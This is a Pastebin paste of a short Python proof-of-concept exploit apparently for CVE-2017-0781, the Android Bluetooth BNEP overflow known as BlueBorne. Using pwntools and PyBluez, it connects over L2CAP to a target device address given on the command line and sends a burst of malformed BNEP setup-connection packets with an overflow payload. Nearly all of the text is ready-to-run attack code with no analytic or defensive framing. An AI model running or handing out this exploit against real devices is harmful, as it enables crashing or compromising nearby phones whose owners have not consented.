Advertisement
Guest User

Untitled

a guest
Jul 17th, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.25 KB | None | 0 0
  1. from pwn import *
  2. import bluetooth
  3.  
  4. if not 'TARGET' in args:
  5.     log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX')
  6.     exit()
  7.  
  8. target = args['TARGET']
  9.  
  10. count = 30 # Amount of packets to send
  11.  
  12. port = 0xf # BT_PSM_BNEP
  13. context.arch = 'arm'
  14. BNEP_FRAME_CONTROL = 0x01
  15. BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
  16.  
  17. def set_bnep_header_extension_bit(bnep_header_type):
  18.     """
  19.    If the extension flag is equal to 0x1 then
  20.    one or more extension headers follows the BNEP
  21.    header; If extension flag is equal to 0x0 then the
  22.    BNEP payload follows the BNEP header.
  23.    """
  24.     return bnep_header_type | 128
  25.  
  26. def bnep_control_packet(control_type, control_packet):
  27.     return p8(number=control_type) + control_packet
  28.  
  29. def packet(overflow):
  30.     pkt = ''
  31.     pkt += p8(number=set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
  32.     pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
  33.     return pkt
  34.  
  35. bad_packet = packet('AAAABBBB')
  36.  
  37. log.info('Connecting...')
  38. sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
  39. bluetooth.set_l2cap_mtu(sock, 1500)
  40. sock.connect((target, port))
  41.  
  42. log.info('Sending BNEP packets...')
  43. for i in range(count):
  44.     sock.send(bad_packet)
  45.  
  46. log.success('Done.')
  47. sock.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement